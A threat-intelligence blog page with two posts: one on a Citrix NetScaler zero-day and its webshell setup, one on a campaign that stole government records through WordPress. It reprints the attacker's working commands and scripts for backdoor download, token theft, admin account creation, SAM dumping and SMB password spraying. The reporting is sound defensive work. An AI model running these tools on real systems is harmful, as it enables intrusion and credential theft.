Threat Signals

Mar 25, 2026

Thank you! Your submission has been received!

Oops! Something went wrong while submitting the form.

Swarming Against Citrix 0-Day Exploitation

GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise also expands the GOG through Project Swarm, which enables the broader security community to join the effort. The activity discussed in this blog was derived from a Swarm participant sensor.

On 24 September 2026, a malicious cyber actor (MCA) used 149.104.78.141 to attempt zero-day exploitation against a Citrix NetScaler Gateway. At the time, there were no CVE-specific detections for the attack due to it occurring pre-disclosure. However, GreyNoise still detected and labeled the activity as fundamentally malicious within seconds due to behavioral detections. GreyNoise will not publish full details of the exploitation chain at this time. Patches are available and post-exploitation details are included below.

‍

Exploitation before disclosure

TimelineTLP:CLEAR

Citrix NetScaler CVE-2026-88771

GreyNoise saw CVE-2026-88771 exploitation attempts on Sep 24, more than three days before public disclosure. The CVE-specific tag, deployed Sep 27, retro-tagged that activity.

7 dated events on 3 daysRetro-tagged as CVE-2026-88771 exploitationSelect a date to read it.

13 days42

Sep 10, 2026 · 07:14:57 UTC

NetScaler reserves CVE ID.

(Citrix ADC Gateway Login Panel Crawler)

Sep 24, 2026 · 07:32:08 UTC

Initial reconnaissance begins.

Intention is not known. Every Sep 24 entry here comes from this one IP address.

Sep 24, 2026 · 07:32:15 UTC

GreyNoise labeled the IP address suspicious due to methodology-based detection.

Sep 24, 2026 · 07:32:19 UTC

GreyNoise labeled the IP address malicious.

(Generic ${IFS} Use in RCE Attempt; CitrixBleed 2 CVE-2025-5777 Attempt)

Sep 24, 2026 · 07:32:19 UTCRetro-tagged as CVE-2026-88771 exploitation

GreyNoise observed CVE-2026-88771 exploitation attempts from this IP address.

(Citrix NetScaler CVE-2026-88771 Login Command Injection RCE Attempt) Retro-tagged after the tag's Sep 27 deployment: 3 sessions, 07:32:19 to 07:32:20 UTC.

Sep 27, 2026 · 15:51:00 UTC

Public disclosure of CVE-2026-88771.

Sep 27, 2026 · 20:28:39 UTC

GreyNoise deployed the CVE-specific tag.

(Citrix NetScaler CVE-2026-88771 Login Command Injection RCE Attempt) Its retro hunt of stored sessions tagged only the Sep 24 activity.

Source: CVE record; GreyNoise.

Times are UTC.

‍

Post-Exploitation

Though the adversary was unsuccessful in gaining a foothold on the targeted Swarm sensor, their post-exploitation playbook was revealed.

The MCA attempted to set both the Set User ID (setuid) and Set Group ID (setgid) bits on /bin/sh to obtain a root shell and install a password-protected webshell that accepts communication by the cookie value sent by the adversary. This may be to avoid persisting their commands in web logs. The MCA then attempted to configure the web server to treat their installed dot file (.ctxs.receiver - hidden by default) as a PHP file despite not having a .php extension. The MCA tried to create an alias which would route requests for a non-existent cascading style sheet (CSS) (receiver.min.css) to .ctxs.receiver; the MCA also attempted to create an additional AliasMatch setting which would provide similar functionality but allow for a more flexible pattern match so that variable characters added to the receiver.min.[0-9a-f].css file path would still route to the webshell. Lastly, the adversary attempted to kill the httpd process to restart the server.

‍

Indicators of Compromise

There are other indicators being shared in the community at a higher Traffic Light Protocol (TLP) level than we can put in this blog; none of the indicator sets should be considered exhaustive. Due to the nature of the vulnerability, adversaries have a wide range of options to poison server logs with variable malicious payloads as part of the exploitation sequence.

Indicator	Description
149.104.78.141	Exploitation
/var/netscaler/logon/LogonPoint/custom/.ctxs.receiver	Webshell Path (Disk)
receiver.min.css	Alias (Webshell)
receiver\\.min\\.[0-9a-f]+\\.css	AliasMatch (Webshell)
6f5a2a452a7901323abd21879c6cecccb47c06aeeaccb1b467212f3b11e4b1e7	Webshell SHA-256

‍

GreyNoise Community CTA

Free community account

Tell signal from noise, for free.

Create a free GreyNoise account and start telling internet noise apart from real threats. No credit card required.

50 IP lookups a week, plus live dashboards and up to 3 alerts
Weekly At The Edge Clear threat briefs and access to GreyNoise Experiments
Sign up with a work email for 10-day lookback, bulk lookups, and API access

Create your free account Takes about 30 seconds.

Andrew Thompson, Mark Mager

Sep 28, 2026

Open Season on Kapibala: Attacker Steals Over 18,000 Government Records Through WordPress Exploitation

GreyNoise observes adversary activity through our Global Observation Grid (GOG), a network of sensors that draws attacker scanning and exploitation onto infrastructure we control. This lets us study adversary infrastructure, tooling, and tradecraft directly, without waiting for a victim investigation. GreyNoise has been tracking malicious use of an IP address since early June 2026 due to its frequent use in scans and attacks against a variety of technologies. We are withholding the exact IP address due to victim sensitivities and operational risk. Once these factors have been mitigated, GreyNoise will publish an update.

While numerous adversaries have commonalities, adversary behavior is not monolithic. One security opinion is that adversaries rotate through IP addresses such that blocking them is a fruitless endeavor. This may be true in certain situations, but we have observed several cases where it is not. GreyNoise has observed one particular IP address scanning and attacking our decoys for multiple years, however, we are confident that activity from 7 May 2026 onwards is associated with a single malicious cyber actor (MCA). This MCA is a suspected Chinese speaker possibly working in UTC+8 based on the operational timeline and copious amounts of Chinese language comments contained within their custom tools and scripts. The adversary is the same or related to “Red Heron” reported on by Acronis based on use of the same command and control (C2) domain, malware family, exploitation of Gitea in July, and other tactics, techniques, and procedures (TTPs). GreyNoise observed the MCA scanning and attacking a variety of technologies throughout the last few months. We detail a few of the more notable intrusions we observed including the theft of more than 18,000 sensitive records from a western government. Though we did not identify any specific artificial intelligence tools in use, GreyNoise suspects the MCA used a large language model (LLM) to generate their custom tools due to behavior patterns found in the code, the rapid iteration, and code comments. For example, between iterations of the same tool, some code functionality did not meaningfully change, but the actual content did:

‍

These types of superficial changes are generally a waste of time for a human and a strong indicator the code was likely generated by a LLM.

In addition to the above findings, GreyNoise discovered the MCA targeted ZyXEL GS1900 Smart Managed Switches globally with a novel exploit of CVE-2026-7273. As of 17 September 2026, this is the first publicly documented case of exploitation in the wild of this vulnerability, which is also not on the Cybersecurity and Infrastructure Security Agency (CISA) Known Exploited Vulnerabilities (KEV) catalog at the time of publication. The MCA successfully exploited and exfiltrated sensitive data from 996 ZyXEL switches across 48 countries.

These observations and others are derived from data sourced from the GOG and adversary infrastructure.

‍

Exploitation Timeline

‍

Date	Exploitation or Targeted Technology	CISA KEV
2026-06-11	PAN-OS GlobalProtect (Unknown)	N/A
2026-06-12	UniFi OS - CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910	2026-06-23
2026-07-13	FlowiseAI - CVE-2026-56271	NOT YET
2026-07-20	WordPress - CVE-2026-63030, CVE-2026-60137	2026-07-21
2026-07-23	Linux Kernel - CVE-2022-0847	2022-04-25
2026-07-30	Gitea - CVE-2026-60004	2026-08-25
2026-08-13	Nuclio - CVE-2026-79756	NOT YET
2026-08-17	ZyXEL GS1900 - CVE-2026-7273	NOT YET
2026-08-27	SENAITE LIMS - CVE-2026-54569	NOT YET
2026-09-03	Proxmox VE - CVE-2023-54391	NOT YET

‍

GreyNoise Community CTA

Free community account

Tell signal from noise, for free.

Create a free GreyNoise account and start telling internet noise apart from real threats. No credit card required.

50 IP lookups a week, plus live dashboards and up to 3 alerts
Weekly At The Edge Clear threat briefs and access to GreyNoise Experiments
Sign up with a work email for 10-day lookback, bulk lookups, and API access

Create your free account Takes about 30 seconds.

‍

Ubiquiti UniFi OS

On 12 June, the adversary attempted to exploit a chain of vulnerabilities (CVE-2026-34908, CVE-2026-34909, and CVE-2026-34910) to achieve remote code execution (RCE) against unpatched Ubiquiti devices. These vulnerabilities were added to the CISA KEV catalog on 23 June. The adversary attempted to coerce the targeted devices to download and execute a backdoor from a separate staging server:

wget http://74.48.66.73:9860/ssh -O /tmp/ssh && chmod +x /tmp/ssh && sudo -n chmod u+s /bin/bash && bash -p -c /tmp/ssh

‍

The adversary made another attempt using a different URL on 15 June:

https://www.[redacted].com.tw/[redacted]/ssh

‍

This URL appears to be compromised infrastructure associated with a Taiwanese manufacturing company. In the first round of exploitation using 74.48.66[.]73, a malicious backdoor (2ff2945b13a4cd0e9a65c85af29ea1539e162a516466c0de682dbf9f8a4000b1) was delivered to targets. This backdoor used p3.981666[.]xyz:6379 to establish a C2 channel.

‍

WordPress

On or about 20 July, the adversary began targeting WordPress installations with the wp2shell exploit chain (CVE-2026-63030 and CVE-2026-60137). Unfortunately, they found success against at least 49 organizations across 29 countries primarily in small business and governmental sectors. In a red-on-red incident, the adversary also compromised a Russian state entity in Russia-occupied Ukraine. The most egregious data theft occurred against an identified western governmental organization involving more than 18,000 sensitive records stolen from its backend database. The following timeline describes that intrusion and is reconstructed using file modification timestamps which were preserved. Exact times may differ from an official forensic investigation.

‍

WordPress Intrusion Timeline

‍

powershell -c "Get-MpComputerStatus | Select-Object RealTimeProtectionEnabled,IoavProtectionEnabled,AntispywareEnabled,BehaviorMonitorEnabled | Format-List"

dir C:\\Windows\\Microsoft.NET\\Framework64\\v4* /b

certutil -hashfile C:\\Windows\\System32\\cmd.exe MD5

powershell -c "(Get-MpComputerStatus).AMProductVersion"

echo test123 > %TEMP%\\test_write.txt && type %TEMP%\\test_write.txt && del %TEMP%\\test_write.txt

net user

powershell.exe -NoProfile -Command "try{$s=Get-MpPreference;Write-Host RTP:$($s.DisableRealtimeMonitoring);Write-Host Excl:$($s.ExclusionPath -join \",\")}catch{Write-Host ERROR:$_}"

C:\\Windows\\System32\\net.exe user

wmic product where "name like \'%security%\' or name like \'%antivirus%\' or name like \'%defender%\'" get name 2>&1

C:\\Windows\\System32\\inetsrv\\appcmd.exe list site 2>&1

cd

netstat -an | findstr LISTENING

cmd /c "net user" 2>&1

reg query "HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection" /v DisableRealtimeMonitoring 2>&1

echo OK > C:\\Windows\\Temp\\test_kp.txt && type C:\\Windows\\Temp\\test_kp.txt && del C:\\Windows\\Temp\\test_kp.txt 2>&1

sc query Spooler 2>&1

findstr /i "DB_PASSWORD DB_USER DB_HOST" C:\\inetpub\\Wordpress\\wp-config.php 2>&1

dir C:\\inetpub /b

reg query "HKLM\\SAM\\SAM\\Domains\\Account\\Users" 2>&1

reg query "HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\SrpV2" 2>&1

powershell.exe -NoProfile -ep bypass -c "$ExecutionContext.SessionState.LanguageMode"

dir "C:\\Program Files\\MySQL" /b /s 2>&1

sc query type= service state= all | findstr /i mysql

sc qc a5Backup64 2>&1

powershell.exe -NoProfile -ep bypass -c "(New-Object Net.WebClient).DownloadString(\'http://httpbin.org/get\')" 2>&1

‍

2026-07-22T02:31:12Z - 03:07:38Z: MCA uses at least 17 different variations of scripts in an attempt to bypass Microsoft’s Antimalware Scan Interface (AMSI), escalate privileges using Token Impersonation and Theft, create a local administrator account, and dump data from the registry.

‍

#!/usr/bin/env python3
"""
尝试通过PowerShell反射加载GodPotato进行提权
方案：从GitHub下载GodPotato到内存，通过反射加载执行
"""
import urllib.request, ssl, urllib.parse, re, base64

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

shell_url = "https://[redacted]/wp-content/plugins/kapibala_plugin/kapibala_index.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=120)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

# 方案1: 尝试用PowerShell内存加载PrintSpoofer
# 先测试PowerShell是否被AMSI拦截
print("=== Test AMSI ===")
r = run('powershell.exe -NoProfile -ep bypass -c "Write-Host AMSI_OK"')
print(r)
print()

# 方案2: 直接用PHP的COM对象 (Windows专属)
# WScript.Shell可以提权吗？不行，但可以测试
print("=== Test COM WScript.Shell ===")
# 通过PHP创建一个小脚本来测试COM
php_test = """<?php
if(class_exists('COM')){echo 'COM:YES';}else{echo 'COM:NO';}
echo "\\n";
// 测试proc_open以SYSTEM运行
$desc = array(0=>array("pipe","r"),1=>array("pipe","w"),2=>array("pipe","w"));
$proc = proc_open('whoami /priv', $desc, $pipes);
if($proc){
    echo stream_get_contents($pipes[1]);
    fclose($pipes[0]);fclose($pipes[1]);fclose($pipes[2]);
    proc_close($proc);
}
"""
# 写到temp然后通过webshell调用
print(run('echo test > C:\\Windows\\Temp\\test_potato.txt && echo WRITE_OK'))
print()

# 方案3: 最简单 - 直接用certutil下载+执行
# 但这会被Defender拦。。。

# 方案4: 用PowerShell的NamedPipe + SeImpersonate做PrintSpoofer风格提权
# 这是纯PowerShell实现，不需要额外文件
print("=== PowerShell PrintSpoofer (in-memory) ===")

# 简化版：直接尝试用PowerShell的.NET反射做potato
# 先试试能不能执行较复杂的PS命令
ps_test = 'powershell.exe -NoProfile -ep bypass -c "$a=[Security.Principal.WindowsIdentity]::GetCurrent();Write-Host $a.Name;Write-Host ImpersonationLevel:$($a.ImpersonationLevel)"'
print(run(ps_test))
print()

# 尝试用 msbuild 执行C#代码(LOLBin，Defender一般不拦msbuild本身)
print("=== MSBuild available? ===")
print(run('dir C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe 2>&1'))
print()

# 方案5: 最稳的 - 用MSBuild执行内联C# Potato
print("=== Trying MSBuild Potato ===")
# 写一个MSBuild项目文件内含C# Potato代码
msbuild_xml = r'''<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <Target Name="Run">
    <Exec Command="cmd /c whoami > C:\Windows\Temp\potato_out.txt 2>&amp;1" />
  </Target>
</Project>'''

# 先写msbuild文件
cmd_write = 'echo ^<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"^>^<Target Name="Run"^>^<Exec Command="cmd /c whoami ^> C:\\Windows\\Temp\\potato_out.txt 2^>^&amp;1" /^>^</Target^>^</Project^> > C:\\Windows\\Temp\\test.proj'
print(run(cmd_write))
print(run('C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\MSBuild.exe C:\\Windows\\Temp\\test.proj /t:Run /nologo 2>&1'))
print(run('type C:\\Windows\\Temp\\potato_out.txt 2>&1'))

‍

#!/usr/bin/env python3
"""
方案1: ImpersonateLoggedOnUser in-process
获取SYSTEM token后不创建新进程，而是在当前PS进程内impersonate
然后用.NET方法直接执行特权操作
"""
import urllib.request, ssl, urllib.parse, re, base64, time

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = "<REDACTED>"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"
writer_url = base_url + "/wp-content/plugins/kapibala_plugin/fw.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=300)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

def write_file(path, content):
    if isinstance(content, str):
        content = content.encode()
    b64 = base64.b64encode(content).decode()
    post_data = urllib.parse.urlencode({"f": path, "d": b64}).encode()
    req = urllib.request.Request(writer_url, data=post_data,
        headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"})
    resp = opener.open(req, timeout=30)
    return resp.read().decode()

# PowerShell脚本: 用GodPotato获取SYSTEM token，然后用ImpersonateLoggedOnUser
# 在当前进程内impersonate，用DirectoryServices.AccountManagement创建用户
ps_script = r'''
$outFile = "C:\Windows\Temp\imp_out.txt"
"[*] Starting in-process impersonation..." | Out-File $outFile

try {
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    
    Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
using System.Security.Principal;

public class TokenHelper {
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool ImpersonateLoggedOnUser(IntPtr hToken);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool RevertToSelf();
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool DuplicateTokenEx(IntPtr hExisting, uint access, IntPtr ta, int il, int tt, out IntPtr hNew);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool OpenProcessToken(IntPtr proc, uint access, out IntPtr token);
    
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern IntPtr OpenProcess(uint access, bool inherit, int pid);
    
    [DllImport("kernel32.dll")]
    public static extern bool CloseHandle(IntPtr h);
    
    [DllImport("advapi32.dll", SetLastError=true)]
    public static extern bool SetThreadToken(IntPtr thread, IntPtr token);
    
    public static IntPtr GetSystemToken() {
        // 找到一个SYSTEM进程的token
        var procs = System.Diagnostics.Process.GetProcessesByName("winlogon");
        foreach(var p in procs) {
            IntPtr hProc = OpenProcess(0x0400, false, p.Id);
            if(hProc == IntPtr.Zero) continue;
            IntPtr hToken;
            if(OpenProcessToken(hProc, 0x0002 | 0x0004 | 0x0008, out hToken)) {
                IntPtr dupToken;
                if(DuplicateTokenEx(hToken, 0x02000000, IntPtr.Zero, 2, 2, out dupToken)) {
                    CloseHandle(hToken);
                    CloseHandle(hProc);
                    return dupToken;
                }
                CloseHandle(hToken);
            }
            CloseHandle(hProc);
        }
        return IntPtr.Zero;
    }
}
"@

    # 方法A: 直接从SYSTEM进程偷token并impersonate
    "[*] Trying direct token theft from winlogon..." | Out-File $outFile -Append
    $token = [TokenHelper]::GetSystemToken()
    "[*] Token handle: $token (err: $([Marshal]::GetLastWin32Error()))" | Out-File $outFile -Append
    
    if($token -ne [IntPtr]::Zero) {
        $r = [TokenHelper]::ImpersonateLoggedOnUser($token)
        "[*] ImpersonateLoggedOnUser: $r (err: $([Marshal]::GetLastWin32Error()))" | Out-File $outFile -Append
        $id = [Security.Principal.WindowsIdentity]::GetCurrent()
        "[*] Current identity: $($id.Name) (level: $($id.ImpersonationLevel))" | Out-File $outFile -Append
        
        if($id.Name -match "SYSTEM") {
            "[+] GOT SYSTEM IN CURRENT THREAD!" | Out-File $outFile -Append
            
            # 现在我们是SYSTEM，直接用.NET创建用户
            try {
                Add-Type -AssemblyName System.DirectoryServices.AccountManagement
                $ctx = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
                $user = New-Object System.DirectoryServices.AccountManagement.UserPrincipal($ctx)
                $user.Name = "kapibala2"
                $user.SetPassword("<REDACTED>")
                $user.Enabled = $true
                $user.Save()
                "[+] User kapibala2 created!" | Out-File $outFile -Append
                
                # 加入管理员组
                $group = [System.DirectoryServices.AccountManagement.GroupPrincipal]::FindByIdentity($ctx, "Administrators")
                $group.Members.Add($user)
                $group.Save()
                "[+] Added to Administrators!" | Out-File $outFile -Append
            } catch {
                "[!] User creation error: $_" | Out-File $outFile -Append
            }
            
            # 读取SAM
            try {
                $sam = reg save HKLM\SAM C:\Windows\Temp\sam.hiv /y 2>&1
                "[*] SAM save: $sam" | Out-File $outFile -Append
            } catch {
                "[!] SAM error: $_" | Out-File $outFile -Append
            }
        }
        
        [TokenHelper]::RevertToSelf()
        [TokenHelper]::CloseHandle($token)
    } else {
        "[-] Could not get SYSTEM token directly (Access Denied expected)" | Out-File $outFile -Append
        
        # 方法B: 用GodPotato获取token然后impersonate
        "[*] Falling back to GodPotato method..." | Out-File $outFile -Append
        $bytes = (New-Object Net.WebClient).DownloadData("https://github.com/BeichenDream/GodPotato/releases/download/V1.20/GodPotato-NET4.exe")
        $asm = [System.Reflection.Assembly]::Load($bytes)
        "[*] GodPotato loaded" | Out-File $outFile -Append
        
        # GodPotato没有直接暴露token的API，它只能CreateProcessWithTokenW
        # 需要修改方法...
        # 尝试用GodPotato执行一个PowerShell命令来impersonate
        [string[]]$a = @("-cmd", "powershell.exe -NoProfile -c `"[Security.Principal.WindowsIdentity]::GetCurrent().Name | Out-File C:\Windows\Temp\god_id.txt`"")
        $asm.EntryPoint.Invoke($null, @(,$a))
        Start-Sleep 3
        "[*] GodPotato executed" | Out-File $outFile -Append
    }
} catch {
    "ERROR: $_ `n$($_.Exception.InnerException)" | Out-File $outFile -Append
}
'''

print("[*] Writing impersonation script...")
write_file("C:\\Windows\\Temp\\imp.ps1", ps_script)

print("[*] Executing (in-process impersonation)...")
result = run('powershell.exe -NoProfile -ep bypass -File C:\\Windows\\Temp\\imp.ps1 2>&1')
print(f"PS output: {result[:300]}")
print()

time.sleep(3)

print("[*] Impersonation log:")
print(run('type C:\\Windows\\Temp\\imp_out.txt 2>&1'))
print()

print("[*] Check user:")
print(run('net user kapibala2 2>&1'))
print()

print("[*] Check SAM hive:")
print(run('dir C:\\Windows\\Temp\\sam.hiv 2>&1'))

‍

2026-07-22T03:17:41Z: MCA used a custom tool to search for cleartext credentials in readable files. This produced usable findings including credentials to a backend SQL database.

‍

#!/usr/bin/env python3
import urllib.request, ssl, urllib.parse, re, base64

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = "https://[redacted]"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=120)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

# 1. GoLive ASP连接字符串 (经典ASP站点很可能有硬编码密码)
print("="*60)
print("[1] GoLive/GlobalVariablesTest.asp (数据库连接)")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\GlobalVariablesTest.asp 2>&1'))
print()

# 2. GoLive登录函数
print("="*60)
print("[2] GoLive/loginfunctions.asp")
print("="*60)
r = run('type C:\\inetpub\\GoLive\\loginfunctions.asp 2>&1')
print(r[:3000])
print()

# 3. Entrust DLL配置 (完整)
print("="*60)
print("[3] <REDACTED>.Bespoke.[redacted].Entrust.dll.config")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\<REDACTED>.Bespoke.[redacted].Entrust.dll.config 2>&1'))
print()

# 4. FormsTest.exe.config
print("="*60)
print("[4] FormsTest.exe.config")
print("="*60)
print(run('type C:\\inetpub\\GoLive\\FormsTest.exe.config 2>&1'))
print()

# 5. NR3Update配置
print("="*60)
print("[5] NR3Update 目录")
print("="*60)
print(run('dir C:\\inetpub\\NR3Update /b 2>&1'))
print()

# 6. APIs子目录配置
print("="*60)
print("[6] APIs\\NR3API")
print("="*60)
print(run('dir C:\\inetpub\\APIs\\NR3API /b 2>&1'))
print()

# 7. 搜索所有含password的配置文件
print("="*60)
print("[7] 全局密码搜索")
print("="*60)
print(run('findstr /si "password pwd passwd conn" C:\\inetpub\\GoLive\\*.asp C:\\inetpub\\GoLive\\*.config 2>&1')[:3000])
print()

# 8. Backup目录
print("="*60)
print("[8] Backup目录")
print("="*60)
print(run('dir C:\\inetpub\\Backup /b 2>&1'))
print()

# 9. FTP root
print("="*60)
print("[9] ftproot")
print("="*60)
print(run('dir C:\\inetpub\\ftproot /b 2>&1'))

‍

2026-07-22T03:30:41Z: MCA used a custom tool to “pack the loot” (stolen files) by using PowerShell to create and stage a ZIP archive in a web-reachable path.

2026-07-22T03:31:25Z: MCA downloads the previously staged ZIP archive which contains source code, credentials, and additional sensitive information.

2026-07-22T04:02:01Z: MCA operationalizes the stolen credentials by conducting password spraying using custom tools. The adversary successfully gains access to an internal SQL database.

2026-07-22T04:08:32Z: MCA produces and executes two tools to bulk extract sensitive information from the SQL server. The tools use similar archiving and staging procedures as previously noted.

2026-07-22T04:09:20Z: MCA downloads the data they stole from the SQL database. At minimum, 18,566 records including accounts, plaintext passwords, and personally identifiable information (PII) associated with law enforcement and government agencies.

2026-07-22T05:36:41Z: MCA resumes activity and attempts broader password spraying internally and continues operations until at least 06:01:40Z.

‍

#!/usr/bin/env python3
import urllib.request, ssl, urllib.parse, re, base64, time

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))

base_url = "<REDACTED>"
shell_url = base_url + "/wp-content/plugins/kapibala_plugin/kapibala_index.php"
writer_url = base_url + "/wp-content/plugins/kapibala_plugin/fw.php"

def run(cmd):
    url = shell_url + "?kpbl=" + urllib.parse.quote(cmd)
    req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
    resp = opener.open(req, timeout=120)
    body = resp.read().decode("utf-8", "replace")
    m = re.search(r"CACHE_START(.*?)CACHE_END", body, re.DOTALL)
    return m.group(1).strip() if m else body

def write_file(path, content):
    if isinstance(content, str):
        content = content.encode()
    b64 = base64.b64encode(content).decode()
    post_data = urllib.parse.urlencode({"f": path, "d": b64}).encode()
    req = urllib.request.Request(writer_url, data=post_data,
        headers={"User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded"})
    resp = opener.open(req, timeout=30)
    return resp.read().decode()

ps_script = '''$out = ""

# SMB到SQL Server (192.168.200.22) 测试凭据
$target = "192.168.200.22"

$creds = @(
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("Administrator", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>")
)

$out += "[*] SMB spray to $target...`n"
foreach($c in $creds) {
    $u = $c[0]; $p = $c[1]
    # 先清理旧连接
    net use * /delete /y 2>&1 | Out-Null
    $r = net use "\\\\$target\\IPC$" /user:$u $p 2>&1 | Out-String
    if($r -match "command completed") {
        $out += "[+] SUCCESS: $u / $p`n"
        $shares = net view "\\\\$target" 2>&1 | Out-String
        $out += "  Shares: $shares`n"
        net use "\\\\$target\\IPC$" /delete /y 2>&1 | Out-Null
    } else {
        $errMsg = $r.Trim() -replace "`r`n"," "
        if($errMsg.Length -gt 100) { $errMsg = $errMsg.Substring(0,100) }
        $out += "  [-] $u / $p : $errMsg`n"
    }
}

# 也测试本机
$out += "`n[*] SMB spray to localhost (<REDACTED>)...`n"
$localCreds = @(
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>"),
    @("<REDACTED>", "<REDACTED>")
)
foreach($c in $localCreds) {
    $u = $c[0]; $p = $c[1]
    net use * /delete /y 2>&1 | Out-Null
    $r = net use "\\\\localhost\\IPC$" /user:$u $p 2>&1 | Out-String
    if($r -match "command completed") {
        $out += "[+] LOCAL SUCCESS: $u / $p`n"
        net use "\\\\localhost\\IPC$" /delete /y 2>&1 | Out-Null
    }
}

$out += "`n[*] Done.`n"
[IO.File]::WriteAllText("C:\Windows\Temp\smb_spray.txt", $out)
Write-Host "DONE"
'''

print("[*] Writing SMB spray script...")
write_file("C:\\Windows\\Temp\\smb_spray.ps1", ps_script)

print("[*] Executing SMB spray...")
result = run('powershell.exe -NoProfile -ep bypass -File C:\\Windows\\Temp\\smb_spray.ps1 2>&1')
print(f"  {result}")
print()

time.sleep(2)
print("[*] Results:")
print(run('type C:\\Windows\\Temp\\smb_spray.txt'))

‍

The MCA continued to exploit the aforementioned WordPress vulnerabilities against numerous other entities until refocusing their efforts against additional technologies. Victims of WordPress exploitation included numerous governments and small businesses in the following countries, however, none appeared as severe as the above:

Country	Victims
Germany	4
Colombia	3
Switzerland	3
Brazil	2
Japan	2
Poland	2
United Kingdom	2
Australia	1
Chile	1
China	1
Czech Republic	1
Finland	1
France	1
Greece	1
Hungary	1
Iceland	1
India	1
Madagascar	1
Mongolia	1
Netherlands	1
Pakistan	1
Philippines	1
Russia-occupied Ukraine	1
Slovakia	1
South Africa	1
Turkey	1
Ukraine	1
United Arab Emirates	1
United States	1
Undetermined	9
Total	49

‍

ZyXEL GS1900 Switches

On or about 17 August, the MCA exploited and exfiltrated sensitive information including configurations, root level credentials (hashed), and networking information from 996 ZyXEL GS1900 Smart Managed Switches in 48 countries.

The exploit code was contained within a Python script which was heavily obfuscated by the commercial obfuscation tool PyArmor. Deobfuscation was accomplished thanks in part to the MCA leaving in place a runtime which pinned the script to PyArmor 6.7.5, a legacy version released in 2021. After deobfuscating the script, we decompiled the resulting bytecode and discovered the script’s sole purpose is to exploit a recently published vulnerability (CVE-2026-7273) impacting ZyXEL GS1900 Smart Managed Switches. While the script explicitly targets firmware versions 2.10-2.90 of the GS1900-24, it does provide command line options (e.g. libc base address, global offsets), for targeting other firmware in scope for the vulnerability:

‍

ap = argparse.ArgumentParser(
    description='Zyxel GS1900 Pre-Auth RCE',
    formatter_class=argparse.RawDescriptionHelpFormatter,
    epilog=("Examples:\n"
            "  %(prog)s http://192.168.1.1 'echo rce>/tmp/pwned'\n"
            "  %(prog)s https://192.168.1.1 '/bin/busybox telnetd -p 2323 -l /bin/sh'\n"
            "  %(prog)s http://192.168.1.1 -m stack -n 5000 'id>/tmp/id'\n\n"
            "Notes:\n"
            "  Command must not contain: & (0x26), = (0x3D), newline, null byte.\n"
            "  GOT mode is deterministic (1 request). Stack mode is ASLR brute-force (~2048 avg)."))
